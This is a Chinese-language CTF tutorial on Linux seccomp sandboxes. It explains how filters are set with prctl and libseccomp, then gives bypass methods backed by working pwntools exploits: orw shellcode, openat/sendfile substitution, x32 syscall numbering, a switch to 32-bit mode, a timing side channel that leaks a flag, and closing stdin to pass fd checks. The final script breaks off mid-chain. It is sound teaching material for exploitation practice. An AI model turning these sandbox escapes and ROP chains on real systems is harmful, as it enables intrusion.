seccomp沙箱及常见绕过


基本概念

PR_SET_SECCOMP 是 Linux 内核提供的一种机制,用于限制进程可以执行的系统调用,从而增强系统的安全性。PR_SET_SECCOMP 机制可以通过使用 prctl() 系统调用来设置,具体来说,可以通过 PR_SET_SECCOMP 命令设置进程的 seccomp 过滤器,或通过 PR_SET_NO_NEW_PRIVS 命令设置进程的 no_new_privs 标志。

seccomp 过滤器可以通过编写 BPF(Berkeley Packet Filter)程序来实现,BPF 程序可以过滤进程所发起的系统调用,只允许特定的系统调用通过,从而限制进程的行为。seccomp 过滤器只能在进程启动时设置,并且一旦设置,就不能修改,这样可以防止攻击者通过注入代码来修改过滤器。

PR_SET_NO_NEW_PRIVS 标志可以用于禁止进程获取更高的权限,即使进程拥有特权级别的用户或进程权限。这可以防止进程通过提升权限来攻击系统,从而增强系统的安全性。

一般使用 seccomp 有两种方法,一种是用 prctl ,另一种是用 seccomp 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//gcc -g simple_syscall_seccomp.c -o simple_syscall_seccomp -lseccomp  
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>

int main(void){

//声明过滤器变量
scmp_filter_ctx ctx;

//初始化过滤器 过滤器初始函数原型
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);

char * filename = "/bin/sh";
char * argv[] = {"/bin/sh",NULL};
char * envp[] = {NULL};
write(1,"i will give you a shell\n",24);
syscall(59,filename,argv,envp);//execve
return 0;
}

上述代码执行时会报错退出。原因是 seccomp 阻止了程序通过 execve 来执行 syscall。

沙箱开启

使用prctl创建沙箱

我们可以借助工具seccomp-toolsl来编写沙箱规则。

首先编写沙箱规则,这里我们保存在文件rule中了。cs:

1
2
3
4
5
6
7
8
9
A = arch
A == ARCH_X86_64 ? next : kill
A = sys_number
A >= 0x40000000 ? kill : next
A == execve ? kill : allow
allow:
return ALLOW
kill:
return KILL

运行命令将沙箱规则转换为可被PR_SET_SECCOMP识别的规则。

1
2
3
4
5
6
7
8
9
10
➜ seccomp-tools asm rule -a amd64 -f raw | seccomp-tools disasm -
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x04 0xc000003e  if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x02 0x00 0x40000000  if (A >= 0x40000000) goto 0006
0004: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0006: 0x06 0x00 0x00 0x00000000  return KILL

将生成的规则应用到C程序中,这里使用prctl系统调用来设置沙箱规则。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>

int main() {
    // 定义过滤器规则
    struct sock_filter filter[] = {
            {0x20, 0x00, 0x00, 0x00000004},
            {0x15, 0x00, 0x04, 0xc000003e},
            {0x20, 0x00, 0x00, 0x00000000},
            {0x35, 0x02, 0x00, 0x40000000},
            {0x15, 0x01, 0x00, 0x0000003b},
            {0x06, 0x00, 0x00, 0x7fff0000},
            {0x06, 0x00, 0x00, 0x00000000}
    };
    struct sock_fprog prog = {
            .len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),
            .filter = filter,
    };
    // 设置seccomp过滤器
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
        perror("[-] prctl error.");
        return 1;
    }

    // 执行系统调用
    char *args[] = {"/bin/bash""-i", NULL};
    execve(args[0], args, NULL);
    return 0;
}

编译后通过 seccomp-tools dump 命令可以看到程序中有了 seccomp 规则(ptctl 系统调用需要 root 权限因此需要加 sudo)。

1
2
3
4
5
6
7
8
9
10
➜ seccomp-tools dump ./prctl
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x04 0xc000003e  if (A != ARCH_X86_64) goto 0006
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x02 0x00 0x40000000  if (A >= 0x40000000) goto 0006
 0004: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x06 0x00 0x00 0x00000000  return KILL

运行程序发现 execve 系统调用无法正常执行。

1
2
➜ sudo ./prctl
[1] 8490 invalid system call ./prctl

使用 seccomp 创建沙箱

seccomp相当于对prctl做了一个封装

如果是使用 seccomp 系统调用添加规则,那么首先需要安装 seccomp 库的开发包:

1
sudo apt-get install libseccomp-dev

前面的代码可以写作如下形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// gcc test.c -o test -lseccomp

#include <unistd.h>
#include <seccomp.h>

int main() {
    // 创建一个过滤器上下文
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_ALLOW);

    // 添加过滤规则
    seccomp_arch_add(ctx, SCMP_ARCH_X86_64);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
    seccomp_load(ctx);

    // 执行系统调用
    char *args[] = {"/bin/bash""-i", NULL};
    execve(args[0], args, NULL);
    
    return 0;
}

其中添加规则的函数 seccomp_arch_add 定义如下:

1
int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt, ...);

其中参数解释如下:

  • ctx:过滤器上下文,用于存储过滤规则。
  • action:当规则匹配时的操作,可以是以下值之一。
    • SCMP_ACT_ALLOW:允许系统调用。
    • SCMP_ACT_KILL:杀死进程。
    • SCMP_ACT_ERRNO:返回错误码并允许系统调用,用法为 SCMP_ACT_ERRNO(返回值) ,这样该系统调用如果满足条件则直接返回定义的返回值而不进行系统调用。在某些题目中通常用来劫持特定系统调用返回特殊值,比如劫持 open 系统调用返回 0 即标准输入。
  • syscall:要限制的系统调用号。
  • arg_cnt:要匹配的参数数量,如果没有参数需要匹配,则 arg_cnt 应该为 0 。
  • ...:可变参数列表,用于指定要匹配的参数值。对于每个参数,需要指定一个 scmp_arg_cmp 结构体,这个结构体包含了参数的比较方式和比较值。scmp_arg_cmp 结构体定义如下:
1
2
3
4
5
6
struct scmp_arg_cmp {
unsigned int arg;   /**< argument number, starting at 0 */
enum scmp_compare op;   /**< the comparison op, e.g. SCMP_CMP_* */  
scmp_datum_t datum_a;
scmp_datum_t datum_b;
};
  • arg:要比较的参数序号,从0开始。
    • op:比较方式,可以是以下值之一:
      • SCMP_CMP_NE:不等于
      • SCMP_CMP_EQ:等于
      • SCMP_CMP_LT:小于
      • SCMP_CMP_LE:小于等于
      • SCMP_CMP_GT:大于
      • SCMP_CMP_GE:大于等于
      • SCMP_CMP_MASKED_EQ:按位与运算后等于(比较值为掩码)。
    • datum_a:用来与参数进行比较的值。

例如下面的代码添加的规则是规定 read 必须从标准输入读取不超过 BUF_SIZE 的内容到 buf 中。

1
2
3
4
5
6
#define BUF_SIZE 0x100
    char buf[BUF_SIZE];
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 3,
                     SCMP_A0(SCMP_CMP_EQ, fileno(stdin)),
                     SCMP_A1(SCMP_CMP_EQ, (scmp_datum_t) buf),
                     SCMP_A2(SCMP_CMP_LE, BUF_SIZE));

绕过方法

orw

  • orw

  • 32位(55字节)

    1
    2
    3
    4
    5
    shellcode=''
    shellcode+=shellcraft.open('./flag')
    shellcode+=shellcraft.read('eax','esp',0x100)
    shellcode+=shellcraft.write(1,'esp',0x100)
    shellcode=asm(shellcode)
  • orw(56字节)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
shellcode = asm("""
    /*open(./flag)*/
    push 0x1010101
    xor dword ptr [esp], 0x1016660
    push 0x6c662f2e
    mov eax,0x5
    mov ebx,esp
    xor ecx,ecx
    int 0x80
    /*read(fd,buf,0x100)*/
    mov ebx,eax
    mov ecx,esp
    mov edx,0x30
    mov eax,0x3
    int 0x80
    /*write(1,buf,0x100)*/
    mov ebx,0x1
    mov eax,0x4
    int 0x80
""")
  • orw(43字节)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
shellcode = asm("""
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
""")
  • 64位(66字节)
1
2
3
4
5
shellcode=''
shellcode+=shellcraft.open('./flag')
shellcode+=shellcraft.read('rax','rsp',0x100)
shellcode+=shellcraft.write(1,'rsp',0x100)
shellcode=asm(shellcode)
  • 某些题目还会禁用 SYS_open,需要用 SYS_openat 代替。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
shellcode = asm('''
    mov rax, 0x67616c662f2e ;// ./flag
    push rax
    
    mov rdi, -100
    mov rsi, rsp
    mov rdx, 0
    mov rax, 257 ;// SYS_openat
    syscall

    mov rdi, rax ;// fd
    mov rsi,rsp  ;
    mov rdx, 1024 ;// nbytes
    mov rax,0 ;// SYS_read
    syscall

    mov rdi, 1 ;// fd
    mov rsi, rsp ;// buf
    mov rdx, rax ;// count
    mov rax, 1 ;// SYS_write
    syscall

    mov rdi, 123 ;// error_code
    mov rax, 60
    syscall
    ''')

是否可以进行rop

往往在动态链接程序我们通过库函数进行orw

静态链接程序我们就通过系统调用进行orw

shellcode进行orw

pwntabe_orw

  • 查保护

几乎没有保护,所以我们可以尝试shellcode。

1
2
3
4
5
6
7
8
9
❯ checksec ./orw.orw
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
  • 分析程序

程序提升让我们输入 shellcode 并且将 shellcode 指令当作函数调用执行。

我们直接尝试shellcode,但是我们传统的通过execve获取shell的方式并不可行。

这是因为这里所考察的并不是那种简单shellcode,通过题目名称我们可以知道这里我考察的是orw。

而考察orw的题目一般都是沙箱题目。

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}

我们通过seccomp-tools这个工具来检查沙箱禁止了哪些系统调用。

这里使用了白名单机制即允许指定的系统调用执行,其它全部禁止。

可以看到我们orw中所用到的openreadwrite三个函数都在白名单上,所以我们可以直接进行orw。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ seccomp-tools dump ./orw.orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
  • exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #!/usr/bin/env python3
    from pwncli import *
    cli_script()

    io: tube = gift.io
    elf: ELF = gift.elf
    libc: ELF = gift.libc

    shellcode=shellcraft.open("/home/orw/flag")
    #上面open打开的文件标识符存放在eax中,所以我们从eax将flag读到栈中
    shellcode+=shellcraft.read("eax","esp",100)
    shellcode+=shellcraft.write(1,"esp",100)
    shellcode=asm(shellcode)
    r()
    sl(shellcode)

    ia()

使用相似功能调用号

有的题目除了禁用 execve 系统调用外,还可能会禁用 open 等系统调用。对于这种情况我们可以使用可以代替被禁用的系统调用的其他系统调用。

1
2
3
4
5
6
7
/* 
#define __NR_openat 257
#define AT_FDCWD -100
#define O_RDONLY 00
*/

int fd = syscall(__NR_openat, AT_FDCWD, "flag", O_RDONLY);

注意,libc 中的 open 函数底层实现也是 openat 系统调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Open FILE with access OFLAG. If O_CREAT or O_TMPFILE is in OFLAG,
a third argument is the file protection. */
int __libc_open64(const char *file, int oflag, ...) {
int mode = 0;

// 检查是否需要 mode(即文件权限)
if (__OPEN_NEEDS_MODE(oflag)) {
va_list arg;
va_start(arg, oflag); // 获取变长参数
mode = va_arg(arg, int); // 获取 mode(文件权限)
va_end(arg);
}

// 执行系统调用 openat 来打开文件
return SYSCALL_CANCEL(openat, AT_FDCWD, file, oflag | EXTRA_OPEN_FLAGS, mode);
}

例题:2024YLCTF orw

  • 思路

沙箱禁止了常规的系统调用,我们通过openat和sendfile来进行绕过。

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

shellcode=asm(shellcraft.openat(0,'/flag')+shellcraft.sendfile(1,3,0,0x100))
print(len(shellcode))
payload=shellcode
r()
sl(payload)

ia()

2024NewStar Easy_Shellcode

使用4字节系统调用

例如下面这种情况,虽然所有可例用的系统调用号都被禁了,但是由于没有判断 sys_number >= 0x40000000 的情况,因此可以使用 0x40000000|sys_number 来绕过。这里 sys_number 是 64 位的系统调用号。

1
2
3
4
5
6
7
8
9
10
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0009
0004: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0009
0005: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0009
0006: 0x15 0x02 0x00 0x00000101 if (A == openat) goto 0009
0007: 0x15 0x01 0x00 0x00000130 if (A == open_by_handle_at) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

正常应该有下面这个判断:

1
2
3
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007

使用32位shellcode

根据下面两条性质绕过沙箱:

  • x86 架构的 CPU 根据 CS 段寄存器(段选择子)对应的段描述符中的属性确定当前访问的指令是 32 位还是 64 位。

  • linux 程序在 32 位和 64 位下的系统调用号不同。

  • 缺少对当前架构的判断

示例程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>


void sandbox() {
// 定义过滤器规则
struct sock_filter filter[] = {
{0x20, 0x00, 0x00, 0x00000000}, // 加载系统调用号
{0x35, 0x00, 0x01, 0x40000000}, // 如果系统调用号 > 0x40000000 跳转
{0x15, 0x00, 0x06, 0xffffffff}, // 如果系统调用号等于某个值,则跳转
{0x15, 0x04, 0x00, 0x00000000}, // 更多的条件判断
{0x15, 0x03, 0x00, 0x00000001},
{0x15, 0x02, 0x00, 0x0000000c},
{0x15, 0x01, 0x00, 0x0000000a},
{0x15, 0x00, 0x01, 0x00000005},
{0x06, 0x00, 0x00, 0x7fff0000}, // 如果符合条件,允许系统调用
{0x06, 0x00, 0x00, 0x00000000}, // 否则拒绝
};

struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])), // 设置过滤器长度
.filter = filter, // 设置过滤器内容
};

// 确保进程无法获取新的权限
prctl(PR_SET_NO_NEW_PRIVS, SECCOMP_MODE_STRICT, 0LL, 0LL, 0LL);

// 设置 seccomp 过滤器
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}


void vuln() {
char buf[0x100];
puts("please input:");
read(0, buf, 0x200); // 读取超过缓冲区的内容,造成溢出
}


int main() {
sandbox(); // 设置 seccomp 沙箱
vuln(); // 漏洞触发
return 0;
}


// gcc pwn.c -o pwn -no-pie -fno-stack-protector

对应是沙箱规则如下,其中缺少对当前架构的判断。

1
2
3
4
5
6
7
8
9
10
11
12
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0003
0002: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0009
0003: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0008
0004: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0008
0005: 0x15 0x02 0x00 0x0000000c if (A == brk) goto 0008
0006: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0008
0007: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

由于沙箱采取白名单机制,我们无法使用 open 或者 openat 系统调用获取 flag 文件句柄,但是 64 位下的 fstat 调用号和 32 位下的 open 调用号相同,因此我们可以切换到 32 位下调用 open 系统调用。不过需要注意:

  • rdi 寄存器需要指向 shellcode 的地址。
  • shellcode 的地址需要小于 0x100000000 。
  • rsp 需要小于 0x100000000 。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *

elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process([elf.path])

payload = 'a' * 0x100
payload += 'b' * 8
payload += p64(elf.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['vuln'])

p.sendlineafter("please input", payload)

libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - libc.sym['puts']
info("libc base: " + hex(libc.address))

rw_mem = 0x404000
payload = 'a' * 0x100
payload += 'b' * 8
payload += p64(libc.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(rw_mem)
payload += p64(libc.search(asm('pop rsi; ret;'), executable=True).next())
payload += p64(0x1000)
payload += p64(libc.search(asm('pop rdx; pop r12; ret'), executable=True).next())
payload += p64(7)
payload += p64(0)
payload += p64(libc.sym['mprotect'])

payload += p64(libc.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(0)
payload += p64(libc.search(asm('pop rsi; ret;'), executable=True).next())
payload += p64(rw_mem)
payload += p64(libc.search(asm('pop rdx; pop r12; ret'), executable=True).next())
payload += p64(0x100)
payload += p64(0)
payload += p64(elf.plt['read'])

payload += p64(libc.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(rw_mem)
payload += p64(libc.search(asm('call rdi;'), executable=True).next())

# gdb.attach(p, "b *0x4012d9\nc")
# pause()

p.sendlineafter("please input", payload)

pause()

shellcode = ""

# Shellcode 1 (amd64)
payload = '''
mov rsp, 0x404000+0x500
mov r8, 0x23
shl r8, 0x20
mov rax, rdi
add rax, 0x1e
or rax, r8
push rax
retf
'''
shellcode += asm(payload, arch='amd64', bits=64)

info("shellcode1: " + hex(len(asm(payload, arch='amd64', bits=64))))

# Shellcode 2 (i386)
payload = '''
mov edx, eax
push 0x1010101
xor dword ptr [esp], 0x1016660
push 0x6c662f2e
mov ebx, esp
xor ecx, ecx
mov eax, 5
int 0x80
push 0x33
add edx, 0x25
push edx
retf
'''
shellcode += asm(payload, arch='i386', bits=32)

info("shellcode2: " + hex(len(asm(payload, arch='i386', bits=32))))

# Shellcode 3 (amd64)
payload = '''
mov rdi, rax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edi, 1
mov rsi, rsp
push 1
pop rax
syscall
'''
shellcode += asm(payload, arch='amd64', bits=64)

# Send the final payload (shellcode)
p.send(shellcode)
p.interactive()

侧信道

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>

void sandbox() {
// 定义过滤器规则
struct sock_filter filter[] = {
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x09,0xc000003e},
{0x20,0x00,0x00,0x00000000},
{0x35,0x00,0x01,0x40000000},
{0x15,0x00,0x06,0xffffffff},
{0x15,0x04,0x00,0x00000000},
{0x15,0x03,0x00,0x00000002},
{0x15,0x02,0x00,0x0000000c},
{0x15,0x01,0x00,0x0000000a},
{0x15,0x00,0x01,0x00000005},
{0x06,0x00,0x00,0x7fff0000},
{0x06,0x00,0x00,0x00000000},
};
struct sock_fprog prog = {
.len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};

// 确保进程无法获取新的权限
prctl(PR_SET_NO_NEW_PRIVS, SECCOMP_MODE_STRICT, 0LL, 0LL, 0LL);

// 设置seccomp过滤器
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}

void vuln() {
char buf[0x100];
read(0, buf, 0x200);
}

int main() {
sandbox();
vuln();
return 0;
}

// gcc pwn.c -o pwn -no-pie -fno-stack-protector -g -static

例如下面这种情况,由于是采用白名单过滤系统调用,因此所有与输出有关的系统调用都被禁了(有的题目是关闭了输出流),也就是说我们无法输出 flag 。虽然无法输出,但是我们可以将读出的 flag 的某一特定字节与给定字节比较,从而逐字节爆破 flag 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
line  CODE   JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x0000000c if (A == brk) goto 0010
0008: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0010
0009: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

这里有一个判断进程是否退出的技巧:p.recv(timeout=1) 。如果进程已经结束会触发异常,而进程未结束但没有输出导致超时则接收数据长度为 0 ,并不会触发异常。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
```python
from pwn import *

elf = ELF("./pwn")

context(arch=elf.arch, os=elf.os)
# context.log_level = 'debug'

p = process([elf.path])

rw_mem = 0x4c0000

payload = 'a' * 0x100
payload += "b" * 8

payload += p64(elf.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(0)
payload += p64(elf.search(asm('pop rsi; ret;'), executable=True).next())
payload += p64(rw_mem)
payload += p64(elf.sym['read'])
payload += p64(elf.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(rw_mem)
payload += p64(elf.search(asm('pop rsi; ret;'), executable=True).next())
payload += p64(0x1000)
payload += p64(elf.search(asm('pop rdx; ret'), executable=True).next())
payload += p64(7)
payload += p64(elf.sym['mprotect'])
payload += p64(elf.search(asm('call rdi;'), executable=True).next())

# gdb.attach(p, "b *0x401e36\nc")
# pause()

def check(i, c):
p = process([elf.path])
p.send(payload)
sleep(1)

shellcode = asm("""
push 0x67616c66
mov rdi, rsp
xor esi, esi
push 2
pop rax
syscall
mov rdi, rax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov dl, [rsp + {}]
cmp dl, {}
jbe $
""".format(i, c))

p.send(shellcode)
try:
p.recv(timeout=1)
p.kill()
return True
except KeyboardInterrupt:
exit(0)
except:
p.close()
return False

i = 0
flag = ''
while True:
l = 0x20
r = 0x7f
while l < r:
m = (l + r) // 2
if check(i, m):
r = m
else:
l = m + 1
flag += chr(l)
log.info(flag)
i += 1

使用close绕过fd参数检查

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>

void sandbox() {
// 定义过滤器规则
struct sock_filter filter[] = {
{0x20, 0x00, 0x00, 0x00000004},
{0x15, 0x00, 0x04, 0xc000003e},
{0x20, 0x00, 0x00, 0x00000000},
{0x15, 0x00, 0x01, 0x000000e7},
{0x06, 0x00, 0x00, 0x7fff0000},
{0x25, 0x00, 0x01, 0x00000110},
{0x06, 0x00, 0x00, 0x00000000},
{0x15, 0x00, 0x01, 0x00000002},
{0x06, 0x00, 0x00, 0x00000000},
{0x15, 0x00, 0x05, 0x00000000},
{0x20, 0x00, 0x00, 0x00000014},
{0x15, 0x00, 0x04, 0x00000000},
{0x20, 0x00, 0x00, 0x00000010},
{0x15, 0x00, 0x02, 0x00000000},
{0x06, 0x00, 0x00, 0x7fff0000},
{0x15, 0x00, 0x01, 0x0000003b},
{0x06, 0x00, 0x00, 0x00000000},
{0x06, 0x00, 0x00, 0x7fff0000}
};

struct sock_fprog prog = {
.len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};

// 确保进程无法获取新的权限
prctl(PR_SET_NO_NEW_PRIVS, SECCOMP_MODE_STRICT, 0LL, 0LL, 0LL);

// 设置 seccomp 过滤器
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}

void vuln() {
char buf[0x100];
puts("please input:");
read(0, buf, 0x200);
}

int main() {
sandbox();
vuln();
return 0;
}
// gcc pwn.c -o pwn -no-pie -fno-stack-protector

沙箱规则如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x25 0x00 0x01 0x00000110 if (A <= 0x110) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0015
0010: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0011: 0x15 0x00 0x04 0x00000000 if (A != 0x0) goto 0016
0012: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0013: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0016
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0017
0016: 0x06 0x00 0x00 0x00000000 return KILL
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW

主要是下面这几条规则:

  • 可以是 exit_group 系统调用。
  • 不能是 open 。
  • 如果是 read 则 fd 只能为 0 。
  • 不能是 execve 。

open 可以用 openat 代替,read 要想读文件则需要将 stdin 关闭。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

# 设置ELF对象,指定可执行文件路径
elf = ELF("./pwn")

# 设置架构和操作系统,帮助pwntools选择合适的目标
context(arch=elf.arch, os=elf.os)

# 启动目标程序
p = process([elf.path])

# 设置读写内存区域和缓冲区地址
rw_mem = 0x4c0000 + 0x1500
buf_addr = rw_mem + 0x100

# 构造初始payload
payload = 'a' * 0x100

# 添加ROP链部分,设置返回地址
payload += p64(rw_mem - 8)
payload += p64(elf.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(0)
payload += p64(elf.search(asm('pop rsi; ret;'), executable=True).next())
